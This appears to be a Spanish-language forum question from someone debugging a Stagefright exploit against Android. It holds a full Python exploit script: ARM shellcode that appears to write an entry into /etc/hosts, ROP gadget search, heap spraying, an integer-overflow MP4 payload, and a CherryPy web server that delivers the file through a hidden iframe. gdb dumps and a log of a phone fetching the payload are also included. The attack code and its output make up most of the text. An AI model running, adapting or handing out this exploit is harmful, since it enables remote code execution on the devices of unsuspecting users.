Estoy trabajando con el exploit Stagefright ... mi pregunta está en negrita a continuación.
Información de fondo:
A continuación se muestra el resultado de la cadena / pila ROP que hicieron cosas de mmap (), incluida la copia con el código de shell de otro gadget (con memcpy) a la nueva dirección (0xb1000000). Ver código de explotación a continuación.
No funciona como debería, por lo que traté de configurar el registro de PC en mi shellcode, pero sigue en función de la falla.
(gdb) x/1000x 0xb1000000
0xb1000000: 0x55555555 0x66666666 0x77777777 0xb6e95b21
0xb1000010: 0xffffffff 0x23232323 0x00000000 0x00000000
0xb1000020: 0xb6ebf78d 0xb1000000 0xb2fff130 0x00000ed0
0xb1000030: 0x33333333 0xb6ec27ac 0x23232323 0x23232323
0xb1000040: 0x23232323 0x23232323 0x23232323 0x23232323
0xb1000050: 0x23232323 0x23232323 0x23232323 0x23232323
0xb1000060: 0x23232323 0x23232323 0x23232323 0x23232323
0xb1000070: 0x23232323 0x23232323 0xb6e8ccb3 0x23232323
0xb1000080: 0x44444444 0x55555555 0x66666666 0x77777777
0xb1000090: 0xb6e8f560 0x44444444 0x55555555 0x66666666
0xb10000a0: 0x77777777 0xb1000001 0x23232323 0x23232323
0xb10000b0: 0x23232323 0x23232323 0x23232323 0x23232323
0xb10000c0: 0x23232323 0x23232323 0xbf00bf00 0xbf00bf00
0xb10000d0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10000e0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10000f0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000100: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000110: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000120: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000130: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000140: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000150: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000160: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
---Type <return> to continue, or q <return> to quit---
0xb1000170: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000180: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb1000190: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10001a0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10001b0: 0xbf00bf00 0xbf00bf00 0xbf00bf00 0xbf00bf00
0xb10001c0: 0xbf00bf00 0xbf00bf00 0xe28f3001 0xe12fff13
0xb10001d0: 0x1c221b24 0x31ff21ff 0x31ff31ff 0x46783105
0xb10001e0: 0x2705302a 0x2214df01 0x310c4679 0xdf012704
0xb10001f0: 0x1c201b24 0xdf012701 0x2e373231 0x2e312e31
0xb1000200: 0x6f672031 0x656c676f 0x0a6b6c2e 0x6374652f
0xb1000210: 0x6f682f2f 0x00737473 0xcccccccc 0xcccccccc
0xb1000220: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000230: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000240: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000250: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0xb1000260: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
(gdb) x/10x 0xb10001c0+8
0xb10001c8: 0xe28f3001 0xe12fff13 0x1c221b24 0x31ff21ff
0xb10001d8: 0x31ff31ff 0x46783105 0x2705302a 0x2214df01
0xb10001e8: 0x310c4679 0xdf012704
(gdb) set $pc=0xb10001c8
(gdb) cont
Continuing.
[New LWP 17649]
Thread 13 "NuCachedSource2" received signal SIGABRT, Aborted.
0xb10001c8 in ?? ()
(gdb)
¿Cómo puedo verificar si la dirección 0xb10001c8 es ejecutable (X)? Ya que sospecho que no lo es y por lo tanto la falta de seguridad
Traté de hacer:
cat / proc / PID / maps
Pero el 0xb10001c8 no aparece allí ...
Aquí está el código con el que estoy trabajando:
#!/usr/bin/python2
import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct
#with open('shellcode.bin', 'rb') as tmp:
# shellcode = tmp.read()
shellcode = bytearray(
"\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x24\x1b"
"\x22\x1c"
"\xff\x21"
"\xff\x31"
"\xff\x31"
"\xff\x31"
"\x05\x31"
"\x78\x46"
"\x2a\x30"
"\x05\x27"
"\x01\xdf"
"\x14\x22"
"\x79\x46"
"\x0c\x31"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x31\x32\x37\x2e"
"\x31\x2e\x31\x2e"
"\x31\x20\x67\x6f"
"\x6f\x67\x6c\x65"
"\x2e\x6c\x6b\x0a"
"\x2f\x65\x74\x63"
"\x2f\x2f\x68\x6f"
"\x73\x74\x73"
)
while len(shellcode) % 4 != 0:
shellcode += '\x00'
# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10
# address of the buffer we allocate for our shellcode
#mmap_address = 0x90000000
mmap_address = 0xb1000000
# addresses that we need to predict
#libc_base = 0xb6ebd000
##libc_base = 0xb6f2c000
#libc_base = 0xb6eb0000
libc_base = 0xb6e7f000
spray_address = 0xb3000000
#spray_address = 0xb30001d0
# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None
def find_arm_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='arm')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 4 == 0:
gadget_address = address
if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
break
return gadget_address
def find_thumb_gadget(e, gadget):
gadget_bytes = asm.asm(gadget, arch='thumb')
gadget_address = None
for address in e.search(gadget_bytes):
if address % 2 == 0:
gadget_address = address + 1
if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
break
return gadget_address
def find_gadget(e, gadget):
gadget_address = find_thumb_gadget(e, gadget)
if gadget_address is not None:
return gadget_address
return find_arm_gadget(e, gadget)
def find_rop_gadgets(path):
global memcpy
global mmap64
global stack_pivot
global pop_pc
global pop_r0_r1_r2_r3_pc
global pop_r4_r5_r6_r7_pc
global ldr_lr_bx_lr
global ldr_lr_bx_lr_stack_pad
e = elf.ELF(path)
e.address = libc_base
memcpy = e.symbols['memcpy']
print '[*] memcpy : 0x{:08x}'.format(memcpy)
mmap64 = e.symbols['mmap64']
print '[*] mmap64 : 0x{:08x}'.format(mmap64)
# .text:00013344 ADD R2, R0, #0x4C
# .text:00013348 LDMIA R2, {R4-LR}
# .text:0001334C TEQ SP, #0
# .text:00013350 TEQNE LR, #0
# .text:00013354 BEQ botch_0
# .text:00013358 MOV R0, R1
# .text:0001335C TEQ R0, #0
# .text:00013360 MOVEQ R0, #1
# .text:00013364 BX LR
pivot_asm = ''
pivot_asm += 'add r2, r0, #0x4c\n'
pivot_asm += 'ldmia r2, {r4 - lr}\n'
pivot_asm += 'teq sp, #0\n'
pivot_asm += 'teqne lr, #0'
stack_pivot = find_arm_gadget(e, pivot_asm)
print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
pop_pc_asm = 'pop {pc}'
pop_pc = find_gadget(e, pop_pc_asm)
print '[*] pop_pc : 0x{:08x}'.format(pop_pc)
pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)
pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)
ldr_lr_bx_lr_stack_pad = 0
for i in range(0, 0x100, 4):
ldr_lr_bx_lr_asm = 'ldr lr, [sp, #0x{:08x}]\n'.format(i)
ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
ldr_lr_bx_lr_asm += 'bx lr'
ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
if ldr_lr_bx_lr is not None:
ldr_lr_bx_lr_stack_pad = i
break
def pad(size):
return '#' * size
def pb32(val):
return struct.pack(">I", val)
def pb64(val):
return struct.pack(">Q", val)
def p32(val):
return struct.pack("<I", val)
def p64(val):
return struct.pack("<Q", val)
def chunk(tag, data, length=0):
if length == 0:
length = len(data) + 8
if length > 0xffffffff:
return pb32(1) + tag + pb64(length)+ data
return pb32(length) + tag + data
def alloc_avcc(size):
avcc = 'A' * size
return chunk('avcC', avcc)
def alloc_hvcc(size):
hvcc = 'H' * size
return chunk('hvcC', hvcc)
def sample_table(data):
stbl = ''
stbl += chunk('stco', '\x00' * 8)
stbl += chunk('stsc', '\x00' * 8)
stbl += chunk('stsz', '\x00' * 12)
stbl += chunk('stts', '\x00' * 8)
stbl += data
return chunk('stbl', stbl)
def memory_leak(size):
pssh = 'leak'
pssh += 'L' * 16
pssh += pb32(size)
pssh += 'L' * size
return chunk('pssh', pssh)
def heap_spray(size):
pssh = 'spry'
pssh += 'S' * 16
pssh += pb32(size)
page = ''
nop = asm.asm('nop', arch='thumb')
while len(page) < 0x100:
page += nop
page += shellcode
while len(page) < 0xed0:
page += '\xcc'
# MPEG4DataSource fake vtable
page += p32(stack_pivot)
# pivot swaps stack then returns to pop {pc}
page += p32(pop_r0_r1_r2_r3_pc)
# mmap64(mmap_address,
# 0x1000,
# PROT_READ | PROT_WRITE | PROT_EXECUTE,
# MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
# -1,
# 0);
page += p32(mmap_address) # r0 = address
page += p32(0x1000) # r1 = size
page += p32(7) # r2 = protection
page += p32(0x32) # r3 = flags
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap64) # pc
page += p32(0xffffffff) # fd (and then r4)
page += pad(4) # padding (and then r5)
page += p64(0) # offset (and then r6, r7)
page += p32(pop_r0_r1_r2_r3_pc) # pc
# memcpy(shellcode_address,
# spray_address + len(rop_stack),
# len(shellcode));
page += p32(mmap_address) # r0 = dst
page += p32(spray_address - 0xed0) # r1 = src
page += p32(0xed0) # r2 = size
page += p32(0x33333333) # r3
page += p32(ldr_lr_bx_lr) # pc
page += pad(ldr_lr_bx_lr_stack_pad)
page += p32(pop_r4_r5_r6_r7_pc) # lr
page += pad(4)
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(memcpy) # pc
page += p32(0x44444444) # r4
page += p32(0x55555555) # r5
page += p32(0x66666666) # r6
page += p32(0x77777777) # r7
page += p32(mmap_address + 1) # pc
while len(page) < 0x1000:
page += '#'
pssh += page * (size // 0x1000)
return chunk('pssh', pssh)
def exploit_mp4():
ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
trak = ''
# heap spray so we have somewhere to land our corrupted vtable
# pointer
# yes, we wrap this in a sample_table for a reason; the
# NuCachedSource we will be using otherwise triggers calls to mmap,
# leaving our large allocations non-contiguous and making our chance
# of failure pretty high. wrapping in a sample_table means that we
# wrap the NuCachedSource with an MPEG4Source, making a single
# allocation that caches all the data, doubling our heap spray
# effectiveness :-)
trak += sample_table(heap_spray(spray_size) * spray_count)
# heap groom for our MPEG4DataSource corruption
# get the default size allocations for our MetaData::typed_data
# groom allocations out of the way first, by allocating small blocks
# instead.
trak += alloc_avcc(8)
trak += alloc_hvcc(8)
# we allocate the initial tx3g chunk here; we'll use the integer
# overflow so that the allocated buffer later is smaller than the
# original size of this chunk, then overflow all of the following
# MPEG4DataSource object and the following pssh allocation; hence why
# we will need the extra groom allocation (so we don't overwrite
# anything sensitive...)
# | tx3g | MPEG4DataSource | pssh |
overflow = 'A' * 24
# | tx3g ----------------> | pssh |
overflow += p32(spray_address) # MPEG4DataSource vtable ptr
#overflow += '0' * 0x48
overflow += 'B' * 0x48
overflow += 'C' # r4
overflow += 'D' # r5
overflow += 'E' # r6
overflow += 'F' # r7
overflow += 'G' # r8
overflow += 'H' # r9
overflow += 'I' # r10
overflow += 'J' # r11
overflow += 'K' # r12
overflow += p32(spray_address + 0x20) # sp
overflow += p32(pop_pc) # lr
trak += chunk("tx3g", overflow)
# defragment the for alloc_size blocks, then make our two
# allocations. we end up with a spurious block in the middle, from
# the temporary ABuffer deallocation.
# | pssh | - | pssh |
trak += memory_leak(alloc_size) * groom_count
# | pssh | - | pssh | .... | avcC |
trak += alloc_avcc(alloc_size)
# | pssh | - | pssh | .... | avcC | hvcC |
trak += alloc_hvcc(alloc_size)
# | pssh | - | pssh | pssh | avcC | hvcC | pssh |
trak += memory_leak(alloc_size) * 8
# | pssh | - | pssh | pssh | avcC | .... |
trak += alloc_hvcc(alloc_size * 2)
# entering the stbl chunk triggers allocation of an MPEG4DataSource
# object
# | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
stbl = ''
# | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
stbl += alloc_avcc(alloc_size * 2)
# | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
# | pssh | - | pssh | pssh | tx3g ----------------> |
overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
stbl += chunk("tx3g", '', length = overflow_length)
trak += chunk('stbl', stbl)
return ftyp + chunk('trak', trak)
index_page = '''
<!DOCTYPE html>
<html>
<head>
<title>Stagefrightened!</title>
</head>
<body>
<script>
window.setTimeout('location.reload(true);', 400000000);
</script>
<iframe src='/exploit.mp4'></iframe>
</body>
</html>
'''
class ExploitServer(object):
exploit_file = None
exploit_count = 0
@cherrypy.expose
def index(self):
self.exploit_count += 1
print '*' * 80
print 'exploit attempt: ' + str(self.exploit_count)
print '*' * 80
return index_page
@cherrypy.expose(["exploit.mp4"])
def exploit(self):
cherrypy.response.headers['Content-Type'] = 'video/mp4'
cherrypy.response.headers['Content-Encoding'] = 'gzip'
if self.exploit_file is None:
exploit_uncompressed = exploit_mp4()
with open('exploit_uncompressed.mp4', 'wb') as tmp:
tmp.write(exploit_uncompressed)
os.system('gzip exploit_uncompressed.mp4')
with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
self.exploit_file = tmp.read()
os.system('rm exploit_uncompressed.mp4.gz')
return self.exploit_file
def main():
find_rop_gadgets('libc.so')
with open('exploit.mp4', 'wb') as tmp:
tmp.write(exploit_mp4())
cherrypy.server.socket_host = '0.0.0.0'
cherrypy.quickstart(ExploitServer())
if __name__ == '__main__':
main()
Registro de ejecución:
python stage.py
[*] memcpy : 0xb6e8f560
[*] mmap64 : 0xb6e95b21
b6e8e9b4: e280204c add r2, r0, #76 ; 0x4c
b6e8e9b8: e8927ff0 ldm r2, {r4, r5, r6, r7, r8, r9, sl, fp, ip, sp, lr}
b6e8e9bc: e33d0000 teq sp, #0
b6e8e9c0: 133e0000 teqne lr, #0
[*] stack_pivot : 0xb6e8e9b4
b6ec1dc4: e49df004 pop {pc} ; (ldr pc, [sp], #4)
[*] pop_pc : 0xb6ec1dc4
b6ebf78c: bd0f pop {r0, r1, r2, r3, pc}
[*] pop_r0_r1_r2_r3_pc : 0xb6ebf78d
b6e8ccb2: bdf0 pop {r4, r5, r6, r7, pc}
[*] pop_r4_r5_r6_r7_pc : 0xb6e8ccb3
b6ec27ac: e59de040 ldr lr, [sp, #64] ; 0x40
b6ec27b0: e28dd048 add sp, sp, #72 ; 0x48
b6ec27b4: e12fff1e bx lr
[25/Mar/2017:23:05:32] ENGINE Listening for SIGHUP.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGTERM.
[25/Mar/2017:23:05:32] ENGINE Listening for SIGUSR1.
[25/Mar/2017:23:05:32] ENGINE Bus STARTING
CherryPy Checker:
The Application mounted at '' has an empty config.
[25/Mar/2017:23:05:32] ENGINE Started monitor thread '_TimeoutMonitor'.
[25/Mar/2017:23:05:32] ENGINE Started monitor thread 'Autoreloader'.
[25/Mar/2017:23:05:32] ENGINE Serving on http://0.0.0.0:8080
[25/Mar/2017:23:05:32] ENGINE Bus STARTED
********************************************************************************
exploit attempt: 1
********************************************************************************
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET / HTTP/1.1" 200 234 "" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:56] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:05:57] "GET /exploit.mp4 HTTP/1.1" 200 37228 "http://192.168.1.2:8080/exploit.mp4" "Mozilla/5.0 (Linux; Android 5.1.1; GT-I9301I Build/LMY49J) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36"
192.168.1.3 - - [25/Mar/2017:23:06:01] "GET /exploit.mp4 HTTP/1.1" 200 37228 "" "stagefright/1.2 (Linux;Android 5.1.1)"
^C[25/Mar/2017:23:09:38] ENGINE Keyboard Interrupt: shutting down bus